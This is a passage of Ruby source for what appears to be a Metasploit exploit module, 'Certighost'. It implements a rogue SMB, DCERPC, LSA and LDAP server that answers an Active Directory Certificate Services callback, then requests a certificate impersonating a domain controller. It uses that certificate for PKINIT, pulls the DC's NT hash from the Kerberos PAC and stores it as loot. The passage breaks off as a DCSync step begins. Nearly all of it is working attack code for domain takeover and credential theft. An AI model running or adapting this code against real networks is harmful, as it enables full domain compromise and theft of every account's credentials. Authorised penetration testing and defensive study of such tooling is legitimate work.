      return "\x00".b * 16
    end

    raw = resp[off, 16]
    vprint_status("  Netlogon: UserSessionKey #{raw.unpack1('H*')}")
    raw
  end

  def handle_smb2_tree_connect(conn, pkt, msg_id)
    tree_id = 0x0001
    session_id = pkt[40, 8].unpack('Q<')[0]

    body = ''.b
    body << [16].pack('v')          # StructureSize
    body << [0x02].pack('C')        # ShareType (PIPE)
    body << "\x00".b                # Reserved
    body << [0].pack('V')           # ShareFlags
    body << [0].pack('V')           # Capabilities
    body << [0x001f01ff].pack('V')  # MaximalAccess

    hdr = build_smb2_header(0x0003, 0, 1, 0, msg_id, tree_id, session_id)
    send_smb2_packet(conn, hdr + body)
    vprint_good("Rogue SMB: TreeConnectResponse sent")
  end

  def handle_smb2_create(conn, pkt, msg_id)
    session_id = pkt[40, 8].unpack('Q<')[0]

    req = pkt[SMB2_HDR_SIZE..].to_s
    name_off = (req[44, 2].unpack1('v') rescue 0).to_i
    name_len = (req[46, 2].unpack1('v') rescue 0).to_i
    fname = begin
      pkt[name_off, name_len].to_s.dup.force_encoding('UTF-16LE').encode('UTF-8')
    rescue StandardError
      ''
    end
    vprint_status("Rogue SMB: CREATE #{fname.inspect}")
    Thread.current[:cg_pipe_name] = fname.downcase

    @file_persistent_id = Rex::Text.rand_text(8).b
    @file_volatile_id = Rex::Text.rand_text(8).b
    now_int = Time.now.to_i * 10000000 + 116444736000000000
    now_q = [now_int].pack('Q<')

    body = ''.b
    body << [89].pack('v')     # StructureSize
    body << [0].pack('C')      # OplockLevel (none)
    body << [0].pack('C')      # Flags
    body << [0].pack('V')      # CreateAction (FILE_OPENED)
    body << now_q              # CreationTime
    body << now_q              # LastAccessTime
    body << now_q              # LastWriteTime
    body << now_q              # ChangeTime
    body << [0x10000].pack('Q<') # AllocationSize
    body << [0x10000].pack('Q<') # EndOfFile
    body << [0x80].pack('V')   # FileAttributes (NORMAL)
    body << [0].pack('V')      # Reserved2
    body << @file_persistent_id + @file_volatile_id  # FileId (16 bytes)
    body << [0].pack('V')      # CreateContextsOffset
    body << [0].pack('V')      # CreateContextsLength

    hdr = build_smb2_header(0x0005, 0, 1, 0, msg_id, 1, session_id)
    send_smb2_packet(conn, hdr + body)
    vprint_good("Rogue SMB: CreateResponse sent")
  end

  def handle_smb2_read(conn, pkt, msg_id)
    read_data = Thread.current[:cg_pending_rpc] || ''.b
    Thread.current[:cg_pending_rpc] = nil
    session_id = pkt[40, 8].unpack('Q<')[0]
    if read_data.empty?
      vprint_warning("Rogue SMB: READ with nothing queued for #{Thread.current[:cg_pipe_name].inspect} " \
                     '- the CA is waiting on an RPC response we never produced')
    end

    body = ''.b
    body << [17].pack('v')                  # StructureSize
    body << [SMB2_HDR_SIZE + 16].pack('C')  # DataOffset (80)
    body << "\x00".b                        # Reserved
    body << [read_data.length].pack('V')    # DataLength
    body << [0].pack('V')                   # DataRemaining
    body << [0].pack('V')                   # Reserved2
    body << read_data

    hdr = build_smb2_header(0x0008, 0, 1, 0, msg_id, 1, session_id)
    send_smb2_packet(conn, hdr + body)
    vprint_good("Rogue SMB: ReadResponse sent (#{read_data.length} bytes)")
  end

  def handle_smb2_write(conn, pkt, msg_id, session_key, signing_key, is_signed)
    req_body = pkt[SMB2_HDR_SIZE..]
    data_offset_field = req_body[2, 2].unpack('v')[0] rescue 0
    data_length = req_body[4, 4].unpack('V')[0] rescue 0
    write_data = pkt[data_offset_field, data_length] rescue ''.b
    session_id = pkt[40, 8].unpack('Q<')[0]

    vprint_status("Rogue SMB: WRITE #{write_data.to_s.bytesize}B to " \
                  "#{Thread.current[:cg_pipe_name].inspect}")
    vprint_status("Rogue SMB: WRITE data #{write_data.to_s[0, 64].unpack1('H*')}")

    dcerpc_response = process_dcerpc_data(write_data)
    if dcerpc_response && !dcerpc_response.empty?
      Thread.current[:cg_pending_rpc] = dcerpc_response
      vprint_good("Rogue SMB: queued #{dcerpc_response.bytesize}B DCERPC response")
    else
      vprint_warning('Rogue SMB: WRITE produced no DCERPC response - the next READ will be empty')
    end

    body = ''.b
    body << [17].pack('v')           # StructureSize
    body << [0].pack('v')            # Reserved
    body << [data_length].pack('V')  # Count
    body << [0].pack('V')            # Remaining
    body << [0].pack('v')            # WriteChannelInfoOffset
    body << [0].pack('v')            # WriteChannelInfoLength

    hdr = build_smb2_header(0x0009, 0, 1, 0, msg_id, 1, session_id)
    send_smb2_packet(conn, hdr + body)
  end

  def process_dcerpc_data(data)
    if data.nil? || data.length < 8
      vprint_warning("Rogue SMB: DCERPC payload too short (#{data.to_s.bytesize}B)")
      return ''.b
    end
    version = data[0].ord rescue 0
    unless version == 5
      vprint_warning("Rogue SMB: payload is not DCERPC (first byte 0x#{version.to_s(16)}) " \
                     "- #{data[0, 16].unpack1('H*')}")
      return ''.b
    end

    pkt_type = data[2].ord rescue 0
    vprint_status("Rogue SMB: DCERPC ptype #{pkt_type}")

    case pkt_type
    when 11 # BIND
      process_dcerpc_bind(data)
    when 14 # ALTER_CONTEXT
      process_dcerpc_alter_context(data)
    when 0  # REQUEST
      process_dcerpc_request(data)
    else
      ''.b
    end
  end

  def build_dcerpc_bind_ack(data, ptype)
    data_repr = data[4, 4].unpack1('V')
    call_id   = data[12, 4].unpack1('V')
    num_ctx   = data[24].ord           # data[24] is a String in Ruby, not an Integer
    ndr_uuid  = nl_uuid_bin(NDR_TRANSFER_SYNTAX)

    results  = ''.b
    accepted = 0
    idx = 28
    num_ctx.times do
      break if idx + 4 > data.bytesize
      n_xfer = data[idx + 2].ord
      idx += 4
      idx += 20                        
      chosen = nil
      n_xfer.times do |i|
        syn = data[idx + (20 * i), 20]
        chosen = syn if syn && syn.bytesize == 20 && syn[0, 16] == ndr_uuid
      end
      idx += 20 * n_xfer

      if chosen
        results << [0, 0].pack('vv') << chosen           
        accepted += 1
      else
        results << [2, 2].pack('vv') << ("\x00".b * 20)  
      end
    end

    sec_addr = "\\PIPE\\#{Thread.current[:cg_pipe_name] || 'lsarpc'}\x00".b

    body = ''.b
    body << [0x10b8, 0x10b8].pack('vv')   # max xmit / recv frag
    body << [0x12345678].pack('V')        # assoc group id
    body << [sec_addr.bytesize].pack('v') << sec_addr
    body << ("\x00".b * ((4 - ((16 + body.bytesize) % 4)) % 4))
    body << [num_ctx, 0, 0].pack('CCv')   # num_results, reserved, reserved2
    body << results

    hdr = ''.b
    hdr << [5, 0, ptype, 0x03].pack('CCCC')  # ver, minor, ptype, FIRST|LAST
    hdr << [data_repr].pack('V')
    hdr << [16 + body.bytesize, 0].pack('vv')
    hdr << [call_id].pack('V')

    label = ptype == 12 ? 'BindAck' : 'AlterContextResp'
    vprint_good("Rogue SMB: DCERPC #{label} - #{accepted}/#{num_ctx} context(s) accepted")
    hdr + body
  end

  def process_dcerpc_bind(data)
    build_dcerpc_bind_ack(data, 12)
  end

  def process_dcerpc_alter_context(data)
    build_dcerpc_bind_ack(data, 15)
  end

  def process_dcerpc_request(data)
    return ''.b if data.bytesize < 24
    call_id = data[12, 4].unpack1('V')
    cont_id = data[20, 2].unpack1('v')
    opnum   = data[22, 2].unpack1('v')
    stub    = data[24..] || ''.b
    vprint_status("Rogue SMB: LSA request opnum #{opnum} (call_id #{call_id}, #{stub.bytesize}B stub)")
    build_lsa_response(opnum, call_id, cont_id, stub)
  end

  def build_dcerpc_response(call_id, stub, cont_id = 0)
    body = ''.b
    body << [stub.bytesize].pack('V')  # alloc_hint
    body << [cont_id].pack('v')        # p_cont_id
    body << [0, 0].pack('CC')          # cancel_count, reserved
    body << stub

    hdr = ''.b
    hdr << [5, 0, 2, 0x03].pack('CCCC')   # ver, minor, RESPONSE, FIRST|LAST
    hdr << [0x10, 0, 0, 0].pack('CCCC')   # drep
    hdr << [16 + body.bytesize, 0].pack('vv')
    hdr << [call_id].pack('V')
    hdr + body
  end

  def build_lsa_response(opnum, call_id, cont_id, _stub)
    stub =
      case opnum
      when 6, 44   # LsarOpenPolicy / LsarOpenPolicy2
        build_lsa_open_policy_stub
      when 7, 46   # LsarQueryInformationPolicy / ...Policy2
        build_lsa_query_policy_stub
      when 0       # LsarClose
        ("\x00".b * 20) + [0].pack('V')
      else
        vprint_warning("Rogue SMB: unhandled LSA opnum #{opnum} -> STATUS_NOT_SUPPORTED")
        [0xC00000BB].pack('V')
      end

    build_dcerpc_response(call_id, stub, cont_id)
  end

  def build_lsa_open_policy_stub
    handle = [0].pack('V') + SecureRandom.random_bytes(16)
    Thread.current[:cg_lsa_handle] = handle
    vprint_good("Rogue SMB: LSA policy handle #{handle.unpack1('H*')}")
    handle + [0].pack('V')   # PolicyHandle + STATUS_SUCCESS
  end

  def build_lsa_query_policy_stub
    lsa = RubySMB::Dcerpc::Lsarpc
    resp = LsaQueryPolicyDnsResponse.new
    resp.info_ptr_refid = 1
    resp.policy_information_class = lsa::POLICY_DNS_DOMAIN_INFORMATION

    info = resp.info
    info.name            = domain_short
    info.dns_domain_name = datastore['DOMAIN']
    info.dns_forest_name = datastore['DOMAIN']

    if @domain_guid && @domain_guid.to_s.bytesize == 16
      begin
        info.domain_guid.read(@domain_guid)
      rescue StandardError => e
        vprint_warning("Rogue SMB: could not set domain GUID: #{e.message}")
      end
    end

    begin
      nl_ptr(info.sid).assign(@domain_sid) if @domain_sid
    rescue StandardError => e
      vprint_warning("Rogue SMB: could not set domain SID: #{e.message}")
    end

    resp.error_status = 0
    stub = resp.to_binary_s
    vprint_good("Rogue SMB: LSA PolicyDnsDomainInformation - #{domain_short} / " \
                "#{datastore['DOMAIN']} / #{@domain_sid} (#{stub.bytesize}B)")
    stub
  end

  def handle_smb2_close(conn, pkt, msg_id)
    session_id = pkt[40, 8].unpack('Q<')[0]
    body = ''.b
    body << [60].pack('v')     # StructureSize
    body << [0].pack('v')      # Reserved
    body << "\x00" * 56       # File times/sizes/attrs (all zeros)

    hdr = build_smb2_header(0x0006, 0, 1, 0, msg_id, 1, session_id)
    send_smb2_packet(conn, hdr + body)
  end

  def handle_smb2_ioctl(conn, pkt, msg_id)
    req_body = pkt[SMB2_HDR_SIZE..]
    ctl_code = req_body[4, 4].unpack('V')[0] rescue 0
    file_id = req_body[8, 16] rescue "\x00" * 16
    session_id = pkt[40, 8].unpack('Q<')[0]

    if ctl_code == 0x00140204 # FSCTL_VALIDATE_NEGOTIATE_INFO
      vprint_status('Rogue SMB: VALIDATE_NEGOTIATE_INFO -> STATUS_NOT_SUPPORTED')
      tree_id = pkt[36, 4].unpack1('V')
      return send_smb2_error(conn, msg_id, 0xC00000BB, session_id, 0x000B, tree_id)
    end

    if ctl_code == 0x0011C017  # FSCTL_PIPE_TRANSCEIVE
      input_offset = req_body[24, 4].unpack('V')[0] rescue 0
      input_count = req_body[28, 4].unpack('V')[0] rescue 0
      input_data = pkt[input_offset, input_count] rescue ''.b

      vprint_status("Rogue SMB: PIPE_TRANSCEIVE #{input_data.to_s.bytesize}B on " \
                    "#{Thread.current[:cg_pipe_name].inspect}")
      vprint_status("Rogue SMB: TRANSCEIVE data #{input_data.to_s[0, 64].unpack1('H*')}")

      dcerpc_resp = process_dcerpc_data(input_data)
      if dcerpc_resp.nil? || dcerpc_resp.empty?
        vprint_warning('Rogue SMB: TRANSCEIVE produced no DCERPC response')
      else
        vprint_good("Rogue SMB: TRANSCEIVE reply #{dcerpc_resp.bytesize}B")
      end

      body = ''.b
      body << [49].pack('v')                        # StructureSize
      body << [0].pack('v')                         # Reserved
      body << [ctl_code].pack('V')                  # CtlCode
      body << file_id                               # FileId (16 bytes)
      body << [0].pack('V')                         # InputOffset
      body << [0].pack('V')                         # InputCount
      output_offset_pos = body.length
      body << [0].pack('V')                         # OutputOffset (placeholder)
      body << [dcerpc_resp.length].pack('V')        # OutputCount
      body << [0].pack('V')                         # Flags
      body << [0].pack('V')                         # Reserved2
      output_offset = SMB2_HDR_SIZE + body.length
      body[output_offset_pos, 4] = [output_offset].pack('V')
      body << dcerpc_resp

      hdr = build_smb2_header(0x0010, 0, 1, 0, msg_id, 1, session_id)
      send_smb2_packet(conn, hdr + body)
    else
      body = ''.b
      body << [49].pack('v')
      body << [0].pack('v')
      body << [ctl_code].pack('V')
      body << file_id
      body << [0, 0, 0, 0, 0, 0].pack('VVVVVV')

      hdr = build_smb2_header(0x0010, 0, 1, 0, msg_id, 1, session_id)
      send_smb2_packet(conn, hdr + body)
    end
  end

  def handle_smb2_logoff(conn, pkt, msg_id)
    session_id = pkt[40, 8].unpack('Q<')[0]
    body = ''.b
    body << [4].pack('v')      # StructureSize
    body << [0].pack('v')      # Reserved

    hdr = build_smb2_header(0x0002, 0, 1, 0, msg_id, 0, session_id)
    send_smb2_packet(conn, hdr + body)
  end

  def handle_smb2_tree_disconnect(conn, pkt, msg_id)
    session_id = pkt[40, 8].unpack('Q<')[0]
    body = ''.b
    body << [4].pack('v')      # StructureSize
    body << [0].pack('v')      # Reserved

    hdr = build_smb2_header(0x0004, 0, 1, 0, msg_id, 0, session_id)
    send_smb2_packet(conn, hdr + body)
  end

  def send_smb2_error(conn, msg_id, status, session_id = 0, command = 0, tree_id = 0)
    body = ''.b
    body << [9].pack('v')   # StructureSize
    body << [0].pack('C')   # ErrorContextCount
    body << [0].pack('C')   # Reserved
    body << [0].pack('V')   # ByteCount
    body << "\x00".b        # ErrorData (minimum one byte)

    hdr = build_smb2_header(command, status, 1, 0x0001, msg_id, tree_id, session_id)
    send_smb2_packet(conn, hdr + body)
  end

  def smb2_sign(data, key)
    return data if key.nil? || data.bytesize < SMB2_HDR_SIZE
    pkt = data.dup.b
    flags = pkt[16, 4].unpack1('V') | 0x00000008
    pkt[16, 4] = [flags].pack('V')
    pkt[48, 16] = "\x00".b * 16
    sig = OpenSSL::HMAC.digest(OpenSSL::Digest.new('SHA256'), key, pkt)[0, 16]
    pkt[48, 16] = sig
    pkt
  end

  def send_smb2_packet(conn, data)
    data = smb2_sign(data, Thread.current[:cg_signing_key])
    nb_header = [data.length].pack('N')
    conn.write(nb_header + data)
  end

  def build_smb2_header(command, status, credits, flags, msg_id, tree_id, session_id)
    hdr = ''.b
    hdr << SMB2_MAGIC                      # 0-3:   Protocol
    hdr << [64].pack('v')                  # 4-5:   StructureSize
    hdr << [0].pack('v')                   # 6-7:   CreditCharge
    hdr << [status].pack('V')              # 8-11:  NTStatus
    hdr << [command].pack('v')             # 12-13: Command
    hdr << [credits].pack('v')             # 14-15: Credits granted
    hdr << [flags | 0x00000001].pack('V')  # 16-19: Flags
    hdr << [0].pack('V')                   # 20-23: NextCommand
    hdr << [msg_id].pack('Q<')             # 24-31: MessageId
    hdr << [0].pack('V')                   # 32-35: Reserved
    hdr << [tree_id].pack('V')             # 36-39: TreeId
    hdr << [session_id].pack('Q<')         # 40-47: SessionId
    hdr << "\x00" * 16                     # 48-63: Signature
    hdr
  end

  def ntlm_field(data, offset_field, length_field)
    len = data[length_field, 2].unpack1('v')
    off = data[offset_field, 4].unpack1('V')
    (data[off, len] rescue ''.b)
  end

  def generate_ntlm_challenge
    c = ::OpenSSL::Random.random_bytes(8)
    Thread.current[:cg_smb_challenge] = c
    @smb_challenge = c
    vprint_status("Rogue SMB: server challenge #{c.unpack1('H*')}")
    c
  end

  NTLM_SIGN_C2S = "session key to client-to-server signing key magic constant\x00".b
  NTLM_SIGN_S2C = "session key to server-to-client signing key magic constant\x00".b
  NTLM_SEAL_C2S = "session key to client-to-server sealing key magic constant\x00".b
  NTLM_SEAL_S2C = "session key to server-to-client sealing key magic constant\x00".b

  def ntlm_rc4_handle(key)
    c = OpenSSL::Cipher.new('RC4')
    c.encrypt
    c.key = key
    c
  end

  def ldap_arm_sealing(session_key)
    md5 = ->(d) { OpenSSL::Digest::MD5.digest(d) }
    Thread.current[:cg_ldap_seal] = {
      client_sign: md5.call(session_key + NTLM_SIGN_C2S),
      server_sign: md5.call(session_key + NTLM_SIGN_S2C),
      client_seal: ntlm_rc4_handle(md5.call(session_key + NTLM_SEAL_C2S)),
      server_seal: ntlm_rc4_handle(md5.call(session_key + NTLM_SEAL_S2C)),
      cseq: 0,
      sseq: 0
    }
    vprint_good("Rogue LDAP: SASL sealing armed with #{session_key.unpack1('H*')}")
  end

  def ldap_seal_message(plain)
    st = Thread.current[:cg_ldap_seal]
    sealed = st[:server_seal].update(plain)
    mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('MD5'), st[:server_sign],
                               [st[:sseq]].pack('V') + plain)[0, 8]
    checksum = st[:server_seal].update(mac)
    sig = [1].pack('V') + checksum + [st[:sseq]].pack('V')
    st[:sseq] += 1
    [sig.bytesize + sealed.bytesize].pack('N') + sig + sealed
  end

  def ldap_unseal_message(frame)
    st = Thread.current[:cg_ldap_seal]
    plain = st[:client_seal].update(frame[16..].to_s)
    st[:client_seal].update(frame[4, 8].to_s)
    st[:cseq] += 1
    plain
  end

  def ldap_send(conn, data)
    st = Thread.current[:cg_ldap_seal]
    conn.write(st ? ldap_seal_message(data) : data)
  end

  def build_spnego_accept_completed
    neg_state = "\xa0\x03\x0a\x01\x00".b
    sequence = "\x30".b + ber_encode_length(neg_state.length) + neg_state
    "\xa1".b + ber_encode_length(sequence.length) + sequence
  end

  def build_spnego_challenge(challenge)
    ntlm = build_ntlm_challenge_for_spnego(challenge)

    neg_state = "\xa0\x03\x0a\x01\x01".b

    oid_ntlmssp = "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a".b
    oid_encoded = "\x06".b + ber_encode_length(oid_ntlmssp.length) + oid_ntlmssp
    supported_mech = "\xa1".b + ber_encode_length(oid_encoded.length) + oid_encoded

    resp_token_data = "\x04".b + ber_encode_length(ntlm.length) + ntlm
    resp_token = "\xa2".b + ber_encode_length(resp_token_data.length) + resp_token_data

    seq_content = neg_state + supported_mech + resp_token
    sequence = "\x30".b + ber_encode_length(seq_content.length) + seq_content

    spnego = "\xa1".b + ber_encode_length(sequence.length) + sequence

    spnego
  end

  def build_ntlm_challenge_for_spnego(server_challenge)
    domain_nb = datastore['DOMAIN']&.split('.')&.first&.upcase || 'DOMAIN'
    domain_dns = datastore['DOMAIN'] || 'domain.lab'
    hostname = @computer_name&.chomp('$') || 'ROGUE'
    hostname_dns = "#{hostname}.#{domain_dns}"

    domain_nb_utf16 = domain_nb.encode('UTF-16LE').b
    domain_dns_utf16 = domain_dns.encode('UTF-16LE').b
    hostname_utf16 = hostname.encode('UTF-16LE').b
    hostname_dns_utf16 = hostname_dns.encode('UTF-16LE').b

    target_name = domain_dns_utf16
    target_name_offset = 56
    target_name_len = target_name.bytesize
    target_info_offset = target_name_offset + target_name_len

    av = proc { |id, val| [id, val.bytesize].pack('vv') + val }

    av_pairs = ''.b
    av_pairs << av.call(0x0002, domain_nb_utf16)   
    av_pairs << av.call(0x0004, domain_dns_utf16)  
    av_pairs << av.call(0x0001, hostname_utf16)    
    av_pairs << av.call(0x0003, hostname_utf16)    
    epoched = Time.now.to_i * 10_000_000 + 116444736000000000
    av_pairs << av.call(0x0007, [epoched].pack('Q<'))
    av_pairs << av.call(0x0000, ''.b)

    target_info_len = av_pairs.bytesize
    flags = 0xE28A0217

    challenge = "NTLMSSP\x00".b
    challenge << [2].pack('V')
    challenge << [target_name_len, target_name_len, target_name_offset].pack('vvV')
    challenge << [flags].pack('V')
    challenge << server_challenge
    challenge << "\x00" * 8
    challenge << [target_info_len, target_info_len, target_info_offset].pack('vvV')
    challenge << "\x0a\x00\x00\x00\x00\x00\x00\x0f".b
    challenge << target_name
    challenge << av_pairs

    challenge
  end

  def step4_request_certificate
    print_status("Step 4: Requesting certificate via ICertPassage...")

    begin
      pfx_data = request_certificate_with_chase
      if pfx_data.nil?
        fail_with(Failure::UnexpectedReply, 'Certificate request failed')
      end

      pfx_name = "#{@target_dc.chomp('$')}_certighost.pfx"

      loot_path = store_loot('windows.ad.cs', 'application/x-pkcs12', datastore['DC_IP'],
                             pfx_data, pfx_name, 'Certighost DC impersonation certificate')
      @results[:pfx_loot] = loot_path
      print_good("  PFX (loot):  #{loot_path}")

      local_path = File.expand_path(datastore['OUTPUT_DIR'].to_s.empty? ? pfx_name :
                                    File.join(datastore['OUTPUT_DIR'], pfx_name))
      begin
        File.binwrite(local_path, pfx_data)
        @results[:pfx] = local_path
        print_good("  PFX (local): #{local_path}")
      rescue StandardError => e
        print_warning("  Could not write #{local_path}: #{e.message}")
      end

      pkcs12 = OpenSSL::PKCS12.new(pfx_data)
      cert = pkcs12.certificate
      print_good("  Subject: #{cert.subject}")
      print_good("  Issuer:  #{cert.issuer}")
      @pfx = pkcs12
    rescue => e
      fail_with(Failure::UnexpectedReply, "Certificate request failed: #{e.message}")
    end
  end

  def request_certificate_with_chase
    comp_hostname = "#{@computer_name.chomp('$')}.#{datastore['DOMAIN']}"
    rmd_value = "#{@target_dc.chomp('$')}.#{datastore['DOMAIN']}"

    begin
      vprint_status("Connecting to CA via SMB IPC$...")
      tree = connect_ipc_for_cert
      vprint_good("Connected to CA IPC$")

      opts = {
        tree: tree,
        username: @computer_name,
        password: @computer_password,
        domain: datastore['DOMAIN']
      }

      vprint_status("Binding to ICPR (ICertPassage)...")
      icpr = connect_icpr(tree)
      vprint_good("Bound to ICPR")

      vprint_status("Generating CSR...")
      csr_key = OpenSSL::PKey::RSA.new(2048)
      csr = Rex::Proto::X509::Request.build_csr(
        cn: comp_hostname,
        private_key: csr_key,
        dns: rmd_value,
        algorithm: 'SHA256'
      )
      attributes = {
        'CertificateTemplate' => datastore['TEMPLATE'],
        'SAN' => "dns=#{rmd_value}",
        'cdc' => @listener_ip,
        'rmd' => rmd_value
      }

      vprint_status("Sending CertServerRequest (may take 30s)...")
      result = do_custom_cert_request(icpr, opts, csr, attributes)
      return nil if result.nil?

      pfx_data = build_pfx_from_result(result, csr_key)
      tree.disconnect! rescue nil
      simple.client.disconnect! rescue nil
      pfx_data
    rescue => e
      print_error("Certificate request error: #{e.message}")
      vprint_error(e.backtrace.first(5).join("\n"))
      nil
    end
  end

  def connect_ipc_for_cert
    datastore['SMBUser'] = @computer_name
    datastore['SMBPass'] = @computer_password
    datastore['SMBDomain'] = datastore['DOMAIN']
    datastore['RHOSTS'] = @ca_ip || datastore['CA_IP'] || datastore['DC_IP']
    datastore['RHOST'] = @ca_ip || datastore['CA_IP'] || datastore['DC_IP']
    datastore['RPORT'] = 445
    disconnect rescue nil
    connect_smb_client
    smb_login

    begin
      to = [datastore['TIMEOUT'].to_i * 6, 180].max
      dispatcher = simple.client.respond_to?(:dispatcher) ? simple.client.dispatcher : nil
      if dispatcher.respond_to?(:read_timeout=)
        dispatcher.read_timeout = to
        vprint_status("SMB read timeout raised to #{to}s for the chase")
      else
        vprint_warning('Could not raise SMB read timeout - no dispatcher accessor')
      end
    rescue StandardError => e
      vprint_warning("Could not raise SMB read timeout: #{e.message}")
    end
    simple.client.tree_connect("\\\\#{@ca_ip || datastore['CA_IP'] || datastore['DC_IP']}\\IPC$")
  end

  def do_custom_cert_request(icpr, opts, csr, attributes)
    response = icpr.cert_server_request(
      attributes: attributes,
      authority: @ca_name,
      csr: csr
    )

    case response[:status]
    when :issued
      print_good("  Certificate issued!")
      response[:certificate]
    when :submitted
      print_warning("  Certificate submitted for review (not auto-issued)")
      nil
    else
      print_error("  Certificate request denied")
      print_error("  Disposition: #{response[:disposition]} (0x#{response[:disposition].to_i.to_s(16)})")
      print_error("  #{response[:disposition_message]}") if response[:disposition_message]
      explain_disposition(response[:disposition].to_i)
      nil
    end
  end

  def explain_disposition(code)
    case code & 0xFFFFFFFF
    when 0x800706BA
      print_error('  0x800706BA = RPC_S_SERVER_UNAVAILABLE (a wrapper for a CA-side')
      print_error('  callback failure, not a policy rejection).')
      if @ca_connected
        print_error('  The CA DID chase to us but the callback did not complete -')
        print_error('  re-run with `set VERBOSE true` to trace the rogue SMB/LSA/LDAP exchange.')
      else
        print_error('  The CA NEVER connected to the cdc host this run. That is not a')
        print_error('  rogue-server bug - the CA did not attempt the chase at all.')
        print_error('  Most often DC01 has negatively cached the listener after an')
        print_error("  earlier run was torn down mid-session. Confirm #{@listener_ip}:445")
        print_error('  is reachable from the DC, wait a few minutes, and re-run.')
      end
    when 0x800706BF
      print_error('  0x800706BF = RPC_S_CALL_FAILED_DNE - the RPC failed and did not')
      print_error('  execute. The CA reached our LSA pipe but never got a usable reply,')
      print_error('  so this is further along than 0x800706BA: SMB is fine, the DCERPC')
      print_error('  layer on the pipe is not.')
    when 0x80070005
      print_error('  0x80070005 = ACCESS_DENIED. In a chase this usually means the CA could')
      print_error('  not authenticate to the cdc host (we rejected its logon), rather than')
      print_error('  the requester lacking enroll rights. Compare against a NTLM_VALIDATE=false run.')
    when 0x80094800
      print_error('  0x80094800 = CERTSRV_E_UNSUPPORTED_CERT_TYPE. Template not published on this CA.')
    when 0x80094812
      print_error('  0x80094812 = CERTSRV_E_SUBJECT_DNS_REQUIRED / SAN mismatch.')
    when 0x8009480F
      print_error('  0x8009480F = CERTSRV_E_KEY_LENGTH. Key size rejected by the template.')
    end
  end

  def build_pfx_from_result(pfx_data, key)
    return pfx_data if pfx_data.is_a?(String)

    cert = OpenSSL::X509::Certificate.new(pfx_data)
    pkcs12 = OpenSSL::PKCS12.create('', 'msf', key, cert)
    pkcs12.to_der
  end

  def step5_pkinit
    print_status("Step 5: Performing PKINIT as #{@target_dc}...")

    unless @pfx
      print_error('  No certificate available - REQUEST_CERT must succeed first')
      return
    end

    client_name = @target_dc.to_s
    file_stem = @target_dc.chomp('$')
    realm = datastore['DOMAIN'].upcase

    begin
      tgt_result = send_request_tgt_pkinit(
        pfx: @pfx,
        client_name: client_name,
        realm: realm,
        server_name: "krbtgt/#{realm}",
        rport: 88
      )

      if tgt_result.nil? || tgt_result.decrypted_part.nil?
        print_error('  PKINIT returned no usable TGT')
        return
      end

      print_good("  PKINIT successful - TGT for #{client_name}@#{realm}")

      ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(
        tgt_result.as_rep,
        tgt_result.decrypted_part
      )
      ccache_path = File.expand_path(datastore['OUTPUT_DIR'].to_s.empty? ? "#{file_stem}.ccache" :
                                     File.join(datastore['OUTPUT_DIR'], "#{file_stem}.ccache"))
      File.binwrite(ccache_path, ccache.to_binary_s)
      @results[:ccache] = ccache_path
      print_good("  ccache saved: #{ccache_path}")

      credential = ccache.credentials.first
      @tgt_session_key = tgt_result.krb_enc_key[:key]

      extract_ntlm_hash(credential, @tgt_session_key)
    rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
      print_error("  PKINIT rejected by the KDC: #{e.message}")
      if e.respond_to?(:error_code) && e.error_code
        print_error("  error code: #{e.error_code}")
      end
      print_error("  The certificate's identity must map to #{client_name}. Check the " \
                  'Subject/SAN printed in step 4.')
    rescue StandardError => e
      print_error("  PKINIT error: #{e.class}: #{e.message}")
      vprint_error("  #{e.backtrace.first(5).join("\n")}")
    end
  end

  def extract_ntlm_hash(credential, session_key)
    print_status("  Extracting NT hash from PAC...")

    dc_name = @target_dc.downcase
    dc_name += '$' unless dc_name.end_with?('$')
    realm = datastore['DOMAIN'].downcase

    authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(
      host: datastore['DC_IP'],
      realm: realm,
      username: dc_name,
      framework: framework,
      framework_module: self
    )

    begin
      tgs_ticket, _tgs_auth = authenticator.u2uself(credential)

      session_key_obj = Rex::Proto::Kerberos::Model::EncryptionKey.new(
        type: credential.keyblock.enctype.value,
        value: credential.keyblock.data.value
      )

      ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
        tgs_ticket.enc_part.decrypt_asn1(
          session_key_obj.value,
          Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET
        )
      )

      pac_data = ticket_enc_part.authorization_data.elements[0][:data]
      value = OpenSSL::ASN1.decode(pac_data).value[0].value[1].value[0].value
      pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)

      pac_info_buffer = pac.pac_info_buffers.find do |buffer|
        buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
      end

      if pac_info_buffer
        serialized = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(@tgt_session_key)
        ntlm_hash = serialized.data.extract_ntlm_hash
        @dc_ntlm_hash = ntlm_hash
        @results[:nt_hash] = ntlm_hash
        print_good("  NT Hash: #{dc_name}:#{ntlm_hash}")
        report_ntlm(realm, dc_name, ntlm_hash)
      else
        print_warning('  No PAC_CREDENTIAL_INFO in the PAC - the KDC did not include the')
        print_warning('  NTLM supplemental credential, so UnPAC-the-hash is not possible here.')
      end
    rescue StandardError => e
      print_error("  NT hash extraction failed: #{e.class}: #{e.message}")
      vprint_error("  #{e.backtrace.first(5).join("\n")}")
    end
  end

  def report_ntlm(domain, user, hash)
    unless framework.db.active
      vprint_status('  No active database - credential not stored')
      return
    end

    service_data = {
      address: datastore['DC_IP'],
      port: 445,
      service_name: 'smb',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :ntlm_hash,
      jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
      username: user,
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: domain
    }.merge(service_data)

    credential_core = create_credential(credential_data)
    return if credential_core.nil?

    create_credential_login(
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED
    )
  rescue StandardError => e
    vprint_warning("  Could not store credential: #{e.class}: #{e.message}")
  end

  def step6_dcsync
    print_status('Step 6: Performing DCSync...')

    unless @dc_ntlm_hash
      print_error('  No NT hash was recovered, so there is nothing to authenticate with.')
